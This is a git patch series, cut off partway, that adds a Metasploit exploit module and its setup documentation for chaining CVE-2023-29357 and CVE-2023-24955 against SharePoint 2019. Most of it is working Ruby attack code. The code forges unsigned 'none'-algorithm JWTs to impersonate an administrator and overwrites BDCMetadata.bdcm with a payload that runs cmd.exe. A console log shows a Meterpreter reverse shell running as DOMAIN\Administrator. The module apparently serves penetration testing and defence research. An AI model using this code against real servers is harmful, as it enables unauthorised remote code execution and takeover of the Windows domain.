From 854ec41db1b9961d9cab12d3d232cb95c00cdf9b Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 19 Jan 2024 15:22:22 -0500 Subject: [PATCH 01/12] Initial commit --- ...oint_dynamic_proxy_generator_unauth_rce.md | 101 +++++ ...dynamic_proxy_generator_auth_bypass_rce.rb | 370 ++++++++++++++++++ 2 files changed, 471 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md create mode 100644 modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md new file mode 100644 index 000000000000..18a8b22f1feb --- /dev/null +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -0,0 +1,101 @@ +## Vulnerable Application +This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched +in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. + +The auth bypass allows attackers to impersonate any valid Sharepoint user. This vulnerability stems from the +signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing +algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic +flaw in the ReadTokenCore() method. + +After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to +exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to +replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The +payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. + +### Setup +Setup Windows Server 2022 [20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso](https://software-download.microsoft.com/download/sg/20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso). +Change the computer name to "sp1". +In network connections set the IP address of the machine to a static IP on the appropriate interface. +Set the DNS settings - one to the hardcoded address of the machine and the alternate to 8.8.8.8. +Add the AD DS role to the Server and then promote to a domain controller, use all the default settings. Name the domain "domain.local". +Download and install [SQL Server 2022](https://go.microsoft.com/fwlink/?linkid=2215202&clcid=0x409&culture=en-us&country=us) with all default settings. +Download [Sharepoint 2019 image](https://download.microsoft.com/download/C/B/A/CBA01793-1C8A-4671-BE0D-38C9E5BBD0E9/officeserver.img). + +Mount the image on the newly configured Domain Controller. +Before installing the prerequisites you must go to Server Manager -> Local Server -> IE Enhanced Security Configuration -> Set to OFF +The prerequisites installer will fail to download prereqs without this. + +Run the splash.hta file, then select Install Prerequisites, this will reboot the machine. +Remount the installer and rerun the PrerequisitesInstaller.exe. Once complete for the second time, click finish, this will reboot the machine. +Remount the installer and run setup.exe, this will install all the necessary binaries, this will reboot the machine + +The SharePoint Products Configuration Wizard should launch automatically, if not you can launch it from the start menu. +Click next on the Welcome to Sharepoint Products page. It will tell you that it may have to reboot the machine, click Yes. +Select "Create a new server farm", click Next. + +Input the following: +Database server: sp1 +Database name: SharePoint_Config +Username: DOMAIN\\Administrator +Password: N0tpassword! + +Click Next. + +Specify Farm Security Settings: +Enter and reenter a passphrase: + +Click Next. + +Specify Server Role: +Single-Server Farm + +Click Next. + +Configure SharePoint Central Administration Web Application +No changes here, keep the port number default and keep NTLM selected, + +Click Next. + +You should now have a vulnerable version of SharePoint 2019 installed. + +## Verification Steps + +1. Start msfconsole +1. Do: `use sharepoint_dynamic_proxy_generator_auth_bypass_rce` +1. Set the `RHOST`, `LHOST`, and `HOSTNAME` options +1. Run the module +1. Receive a Meterpreter session in the context of the user running the SharePoint application. + +## Scenarios +### SharePoint 2019 +``` +msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Sharepoint version detected: 16.0.0.10337 +[*] Discovered hostname is: sp1 +[*] Discovered domain is: DOMAIN +[*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000 +[*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000 +[*] Lob id is: KLNfH +[*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000 +[+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955. +[*] BDCMetadata existed, backing up original data +[+] Payload has been successfully delivered +[*] Sending stage (200774 bytes) to 172.16.199.72 +[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.72:57806) at 2024-01-19 14:55:44 -0500 + +meterpreter > getuid +Server username: DOMAIN\Administrator +meterpreter > sysinfo +Computer : SP1 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : DOMAIN +Logged On Users : 23 +Meterpreter : x64/windows +meterpreter > +``` \ No newline at end of file diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb new file mode 100644 index 000000000000..d90a4b4fb969 --- /dev/null +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -0,0 +1,370 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'securerandom' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Sharepoint + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + + MSV_AV_EOL = 0x0000 + MSV_AV_NP_COMPUTER_NAME = 0x0001 + MSV_AV_NP_DOMAIN_NAME = 0x0002 + MSV_AV_DNS_COMPUTER_NAME = 0x0003 + MSV_AV_DNS_DOMAIN_NAME = 0x0004 + + class InvalidResponse < StandardError + end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE', + 'Description' => %q{ + This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched + in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. + + The auth bypass allows attackers to impersonate any valid Sharepoint user. This vulnerability stems from the + signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing + algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic + flaw in the ReadTokenCore() method. + + After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to + exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to + replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The + payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. + + }, + 'Author' => [ + 'Jang', # discovery + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'], + [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'], + [ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'], + [ 'CVE', '2023-29357'], + [ 'CVE', '2023-24955'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Arch' => [ ARCH_CMD ], + 'Platform' => 'win', + 'Targets' => [ + [ + 'Windows Command', + { + 'Platform' => ['win'], + 'Arch' => [ARCH_CMD], + 'Type' => :cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', + 'WritableDir' => '%TEMP%', + 'CmdStagerFlavor' => [ 'curl' ] + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-05-01', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]), + OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', 'sp1' ]) + ]) + end + + def decode_int(byte_string) + byte_string.reverse.unpack('H*')[0].to_i(16) + end + + def decode_string(byte_string) + byte_string.gsub(/\x00/, '') + end + + def parse_ntlm_msg(msg) + target_info_fields = msg[40, 8] + target_info_len = decode_int(target_info_fields[0, 2]) + target_info_offset = decode_int(target_info_fields[4, 4]) + target_info_bytes = msg[target_info_offset, target_info_len] + + target_info = {} + + info_offset = 0 + + while info_offset < target_info_bytes.length + av_id = decode_int(target_info_bytes[info_offset, 2]) + av_len = decode_int(target_info_bytes[info_offset + 2, 2]) + av_value = target_info_bytes[info_offset + 4, av_len] + info_offset += 4 + av_len + + case av_id + when MSV_AV_EOL + # Do nothing + when MSV_AV_NP_COMPUTER_NAME + target_info['MSV_AV_NP_COMPUTER_NAME'] = decode_string(av_value) + when MSV_AV_NP_DOMAIN_NAME + target_info['MSV_AV_NP_DOMAIN_NAME'] = decode_string(av_value) + when MSV_AV_DNS_COMPUTER_NAME + target_info['MSV_AV_DNS_COMPUTER_NAME'] = decode_string(av_value) + when MSV_AV_DNS_DOMAIN_NAME + target_info['MSV_AV_DNS_DOMAIN_NAME'] = decode_string(av_value) + end + end + + target_info + end + + def resolve_target_info + vprint_status('resolving tagret info') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '_api', 'web'), + 'method' => 'GET', + 'headers' => { + 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO', + 'HOST' => datastore['HOSTNAME'] + } + }) + if res && res.headers['WWW-Authenticate'] + auth_header = res.headers['WWW-Authenticate'] + if auth_header.include?('NTLM') + msg2 = Rex::Text.decode_base64(auth_header.split('NTLM ')[1]) + return parse_ntlm_msg(msg2) + else + raise InvalidResponse, 'The WWW-Authenticate header did not contain "NTLM"' + end + else + raise InvalidResponse, 'The server did not return a WWW-Authenticate header' + end + end + + def get_oauth_info + vprint_status('getting oauth info') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '_api', 'web'), + 'method' => 'GET', + 'headers' => { + 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh', + 'HOST' => datastore['HOSTNAME'] + } + }) + if res && res.headers['WWW-Authenticate'] + raise InvalidResponse, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ + + realm = Regexp.last_match(1) + client_id = Regexp.last_match(2) + print_status("realm: #{realm}, client_id: #{client_id}") + return realm, client_id + else + raise InvalidResponse, 'The server did not return a WWW-Authenticate header' + end + end + + def gen_endpoint_hash(url) + Base64.strict_encode64(Digest::SHA256.digest(url.downcase)) + end + + def gen_token_sid(url, sid) + vprint_status('genning token sid') + jwt_token = "{\"iss\":\"#{@client_id}\",\"aud\": \"#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\": \"#{sid}\", \"nii\": \"urn:office:idp:activedirectory\", \"appidacr\":\"0\", \"isuser\":\"0\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"#{gen_endpoint_hash(url)}\",\"isloopback\": \"true\",\"appctx\":\"user_impersonation\"}" + b64_token = Rex::Text.encode_base64(jwt_token) + "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" + end + + def gen_app_proof_token(url) + if @SID.blank? + vprint_status('sid is blank') + jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + b64_token = Rex::Text.encode_base64(jwt_token) + "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" + else + gen_token_sid(url, @SID) + end + end + + def send_get_request(url) + vprint_status('send get request') + token = gen_app_proof_token(url) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url), + 'method' => 'GET', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + } + }) + end + + def send_json_request(url, data) + vprint_status('send json request') + token = gen_app_proof_token(url) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => data.to_json + }) + end + + def get_current_user + res = send_get_request('/_api/web/currentuser') + if res&.code != 200 + print_error('Failed to get current user') + return false + end + res.body + end + + def check + version = sharepoint_get_version + return CheckCode::Safe('Could not determine the Sharepoint version') if version.nil? + print_status("Sharepoint version detected: #{version}") + + begin + ntlm_response = resolve_target_info + hostname = ntlm_response['MSV_AV_DNS_COMPUTER_NAME'].split('.')[0] + domain = ntlm_response['MSV_AV_NP_DOMAIN_NAME'] + + print_status("Discovered hostname is: #{hostname}") + print_status("Discovered domain is: #{domain}") + + @realm, @client_id = get_oauth_info + print_status("Got Oauth Info: #{@realm}|#{@client_id}") + @lob_id = Rex::Text.rand_text_alpha(rand(8)) + print_status("Lob id is: #{@lob_id}") + rescue InvalidResponse => e + return CheckCode::Safe(e) + end + + current_user = get_current_user + + if current_user != false + current_user =~ /(.+)<\/d:LoginName>/ + return CheckCode::Safe('Unable to identify the LoginName of the current user') unless Regexp.last_match(1) + @user = Regexp.last_match(1) + return CheckCode::Safe('Unable to parse the username from the LoginName received from the target') unless current_user.include?('|') + @user = current_user.split('|')[1] + else + return CheckCode::Safe('Unable to identify the current user') + end + + if current_user.include?('true') + print_status("Successfully impersonated Site Admin: #{@user}") + CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') + else + CheckCode::Safe('The user found is not a site admin.') + end + end + + def create_c_sharp_payload(cmd) + c_sharp_payload = <<~EOF + aaab{ + class ABCD: System.Web.Services.Protocols.HttpWebClientProtocol{ + static ABCD(){ + System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}"); + } + } + } + namespace aabcd + EOF + + c_sharp_payload + end + + def drop_and_execute_payload + bdcm_data = "http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdlRevertToSelfFalse" + url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" + token = gen_app_proof_token(url_drop_payload) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_drop_payload), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => bdcm_data + }) + fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 + print_good('Payload has been successfully delivered') + entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" + lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}" + + exec_cmd_data = "CreateProduct1" + + res2 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => exec_cmd_data + }) + fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 + end + + def on_new_session + url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" + token = gen_app_proof_token(url_drop_payload) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_drop_payload), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => @backup_bdc_metadata + }) + if res&.code == 200 + print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.') + else + print_error('BDCMetadata.bdcm restoration has failed.') + end + end + + def exploit + res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') + if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') + print_status('BDCMetadata existed, backing up original data') + @backup_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") + else + body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } + res_json = send_json_request('/_api/web/folders', body) + if res_json&.code == 201 + print_status('Created BDCM Folder') + else + fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') + end + end + + drop_and_execute_payload + end +end From 31ebc8273afe9c43ab942bed5b26fa05eebee67a Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 19 Jan 2024 15:40:35 -0500 Subject: [PATCH 02/12] Added AutoCheck check in exploit method --- .../http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index d90a4b4fb969..0c48223522eb 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -84,7 +84,7 @@ def initialize(info = {}) ) register_options([ OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]), - OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', 'sp1' ]) + OptString.new('HOSTNAME', [ true, 'Hostname of the SharePoint application', '' ]) ]) end @@ -351,6 +351,7 @@ def on_new_session end def exploit + fail_with(Failure::BadConfig, 'AutoCheck must be set to true') unless datastore['AutoCheck'] res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') print_status('BDCMetadata existed, backing up original data') From 9e5783a3e732ef49a6587e62987f4bed360e2e43 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 19 Jan 2024 15:42:39 -0500 Subject: [PATCH 03/12] Rubocop --- ...dynamic_proxy_generator_auth_bypass_rce.rb | 67 ++++++++++--------- 1 file changed, 34 insertions(+), 33 deletions(-) diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 0c48223522eb..9fb0d28ec072 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -13,7 +13,6 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck - MSV_AV_EOL = 0x0000 MSV_AV_NP_COMPUTER_NAME = 0x0001 MSV_AV_NP_DOMAIN_NAME = 0x0002 @@ -41,7 +40,6 @@ def initialize(info = {}) exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. - }, 'Author' => [ 'Jang', # discovery @@ -238,6 +236,7 @@ def get_current_user def check version = sharepoint_get_version return CheckCode::Safe('Could not determine the Sharepoint version') if version.nil? + print_status("Sharepoint version detected: #{version}") begin @@ -259,10 +258,12 @@ def check current_user = get_current_user if current_user != false - current_user =~ /(.+)<\/d:LoginName>/ + current_user =~ %r{(.+)} return CheckCode::Safe('Unable to identify the LoginName of the current user') unless Regexp.last_match(1) + @user = Regexp.last_match(1) return CheckCode::Safe('Unable to parse the username from the LoginName received from the target') unless current_user.include?('|') + @user = current_user.split('|')[1] else return CheckCode::Safe('Unable to identify the current user') @@ -297,16 +298,16 @@ def drop_and_execute_payload token = gen_app_proof_token(url_drop_payload) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, url_drop_payload), - 'method' => 'POST', - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, - 'data' => bdcm_data - }) + 'uri' => normalize_uri(target_uri.path, url_drop_payload), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => bdcm_data + }) fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 print_good('Payload has been successfully delivered') entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" @@ -315,16 +316,16 @@ def drop_and_execute_payload exec_cmd_data = "CreateProduct1" res2 = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), - 'method' => 'POST', - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, - 'data' => exec_cmd_data - }) + 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => exec_cmd_data + }) fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 end @@ -333,16 +334,16 @@ def on_new_session token = gen_app_proof_token(url_drop_payload) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, url_drop_payload), - 'method' => 'POST', - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-PROOF_TOKEN' => token, - 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] - }, - 'data' => @backup_bdc_metadata - }) + 'uri' => normalize_uri(target_uri.path, url_drop_payload), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => datastore['HOSTNAME'] + }, + 'data' => @backup_bdc_metadata + }) if res&.code == 200 print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.') else From 5f1fa2a67824b627db56aba639bedcec55f3eb33 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Fri, 19 Jan 2024 20:30:53 -0500 Subject: [PATCH 04/12] Apply suggestions from jvoisin Co-authored-by: Julien Voisin --- ...oint_dynamic_proxy_generator_unauth_rce.md | 2 +- ...dynamic_proxy_generator_auth_bypass_rce.rb | 49 ++++++++++++++----- 2 files changed, 37 insertions(+), 14 deletions(-) diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md index 18a8b22f1feb..0e1f2df855d6 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -25,7 +25,7 @@ Mount the image on the newly configured Domain Controller. Before installing the prerequisites you must go to Server Manager -> Local Server -> IE Enhanced Security Configuration -> Set to OFF The prerequisites installer will fail to download prereqs without this. -Run the splash.hta file, then select Install Prerequisites, this will reboot the machine. +Run the splash.hta file, then select Install Prerequisites, this will reboot the machine. Remount the installer and rerun the PrerequisitesInstaller.exe. Once complete for the second time, click finish, this will reboot the machine. Remount the installer and run setup.exe, this will install all the necessary binaries, this will reboot the machine diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 9fb0d28ec072..cb8a68371fe1 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -168,7 +168,7 @@ def get_oauth_info print_status("realm: #{realm}, client_id: #{client_id}") return realm, client_id else - raise InvalidResponse, 'The server did not return a WWW-Authenticate header' + raise InvalidResponse, 'The server did not return a WWW-Authenticate header with getting OAuth info' end end @@ -177,8 +177,21 @@ def gen_endpoint_hash(url) end def gen_token_sid(url, sid) - vprint_status('genning token sid') - jwt_token = "{\"iss\":\"#{@client_id}\",\"aud\": \"#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\": \"#{sid}\", \"nii\": \"urn:office:idp:activedirectory\", \"appidacr\":\"0\", \"isuser\":\"0\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"#{gen_endpoint_hash(url)}\",\"isloopback\": \"true\",\"appctx\":\"user_impersonation\"}" + vprint_status('Generating a token sid') + jwt_token = { + :iss => "#{@client_id}", + :aud => "#{@client_id}/#{datastore['HOSTNAME']}@#{@realm}", + :nbf => "1673410334", + :exp => "1725093890", + :nameid => "#{sid}", + :nii => "urn:office:idp:activedirectory", + :appidacr => "0", + :isuser => "0", + :ver => "hashedprooftoken", + :endpointurl => "#{gen_endpoint_hash(url)}", + :isloopback => "true", + :appctx => "user_impersonation" + }.to_json b64_token = Rex::Text.encode_base64(jwt_token) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" end @@ -186,7 +199,17 @@ def gen_token_sid(url, sid) def gen_app_proof_token(url) if @SID.blank? vprint_status('sid is blank') - jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + jwt_token = { + :iss => "00000003-0000-0ff1-ce00-000000000000", + :aud => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + :nbf => "1673410334", + :exp => "1725093890", + :nameid => "00000003-0000-0ff1-ce00-000000000000@#{@realm}", + :ver => "hashedprooftoken", + :endpointurl => "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\", + :endpointurlLength => 1, + :isloopback => true + }.to_json b64_token = Rex::Text.encode_base64(jwt_token) "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" else @@ -195,21 +218,21 @@ def gen_app_proof_token(url) end def send_get_request(url) - vprint_status('send get request') + vprint_status('Sending get request') token = gen_app_proof_token(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), 'method' => 'GET', 'headers' => { - 'X-PROOF_TOKEN' => token, + 'X-Proof_Token' => token, 'Authorization' => "Bearer #{token}", - 'HOST' => datastore['HOSTNAME'] + 'Host' => datastore['HOSTNAME'] } }) end def send_json_request(url, data) - vprint_status('send json request') + vprint_status('Sending json request') token = gen_app_proof_token(url) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, url), @@ -228,14 +251,14 @@ def get_current_user res = send_get_request('/_api/web/currentuser') if res&.code != 200 print_error('Failed to get current user') - return false + return nil end res.body end def check version = sharepoint_get_version - return CheckCode::Safe('Could not determine the Sharepoint version') if version.nil? + return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? print_status("Sharepoint version detected: #{version}") @@ -257,7 +280,7 @@ def check current_user = get_current_user - if current_user != false + if current_user.nil? current_user =~ %r{(.+)} return CheckCode::Safe('Unable to identify the LoginName of the current user') unless Regexp.last_match(1) @@ -273,7 +296,7 @@ def check print_status("Successfully impersonated Site Admin: #{@user}") CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') else - CheckCode::Safe('The user 